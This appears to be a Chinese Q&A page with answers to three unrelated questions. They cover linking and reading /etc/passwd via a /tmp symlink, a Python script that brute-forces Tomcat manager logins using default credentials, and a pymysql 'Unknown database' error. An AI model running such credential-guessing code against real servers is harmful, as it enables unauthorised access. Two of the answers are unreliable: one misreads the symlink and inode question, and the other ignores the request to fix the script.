将/tmp/passwd创建符号链接passwd-so,并查看passwd-so文件的incode,显示passwd-so的内容
时间: 2023-09-18 11:09:48 浏览: 178
为了创建符号链接,我们可以使用 `ln -s` 命令,如下所示:
```
ln -s /etc/passwd /tmp/passwd-so
```
这将在 `/tmp` 目录下创建一个名为 `passwd-so` 的符号链接,指向 `/etc/passwd` 文件。
要查看 `passwd-so` 文件的内容,我们可以使用 `cat` 命令,如下所示:
```
cat /tmp/passwd-so
```
这将显示 `/etc/passwd` 文件的内容,因为 `passwd-so` 是指向 `/etc/passwd` 的符号链接。
相关问题
import urllib import time import base64 names = ['admin', 'tomcat'] passwds = ['', 'admin', 'tomcat', '123456', 'root'] for name in names: name = name.rstrip() for passwd in passwds: passwd = passwd.rstrip() user_agent = "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)" Authorization = "Basic %s" % (base64.b64encode(name + ':' + passwd)) header = {'User-Agent': user_agent, 'Authorization': Authorization} try: url = "http://192.168.106.137:8080/manager/html" request = urllib.Request(url, headers=header) response = urllib.urlopen(request, timeout=5) result = response.read() if response.code == 200: print '[Success] ' + url + ' ' + name + ':' + passwd break except: print '[false111] ' + url + ' ' + name + ':' + passwd time.sleep(1),纠正错误
这段代码是Python语言编写的,它的功能是尝试使用给定的用户名和密码组合登录到一个Tomcat Web服务器的管理页面。它使用了base64编码和HTTP Basic认证来构造请求头,然后发送HTTP请求并检查响应代码以确定是否成功登录。如果成功登录,它将打印出一个成功消息,否则将打印出一个错误消息并等待1秒钟后重试。请注意,这段代码可能被用于恶意目的,因此不应该随意使用。
C:\Users\dell\AppData\Local\Programs\Python\Python39\python.exe D:/DevelopSoftware/V_DVP/py_mysql.py Traceback (most recent call last): File "D:\DevelopSoftware\V_DVP\py_mysql.py", line 4, in <module> conn = pymysql.connect(host="127.0.0.1",port=3306,user='root',passwd="mysqladmin",charset='utf8',db='test') File "C:\Users\dell\AppData\Local\Programs\Python\Python39\lib\site-packages\pymysql\connections.py", line 358, in __init__ self.connect() File "C:\Users\dell\AppData\Local\Programs\Python\Python39\lib\site-packages\pymysql\connections.py", line 664, in connect self._request_authentication() File "C:\Users\dell\AppData\Local\Programs\Python\Python39\lib\site-packages\pymysql\connections.py", line 954, in _request_authentication auth_packet = self._read_packet() File "C:\Users\dell\AppData\Local\Programs\Python\Python39\lib\site-packages\pymysql\connections.py", line 772, in _read_packet packet.raise_for_error() File "C:\Users\dell\AppData\Local\Programs\Python\Python39\lib\site-packages\pymysql\protocol.py", line 221, in raise_for_error err.raise_mysql_exception(self._data) File "C:\Users\dell\AppData\Local\Programs\Python\Python39\lib\site-packages\pymysql\err.py", line 143, in raise_mysql_exception raise errorclass(errno, errval) pymysql.err.OperationalError: (1049, "Unknown database 'test'") Process finished with exit code 1
这个错误提示是由于你尝试连接到数据库时出现了问题。具体来说,错误信息显示无法找到名为'test'的数据库。
请确保在连接数据库之前已经创建了名为'test'的数据库。你可以使用MySQL的命令行工具或者图形化界面工具(如phpMyAdmin)来创建数据库。
如果已经创建了数据库,请检查连接参数是否正确,如主机名、端口号、用户名、密码等是否正确配置。
如果问题仍然存在,请提供更多关于你的代码和配置的信息,以便我能够更好地帮助你解决问题。
阅读全文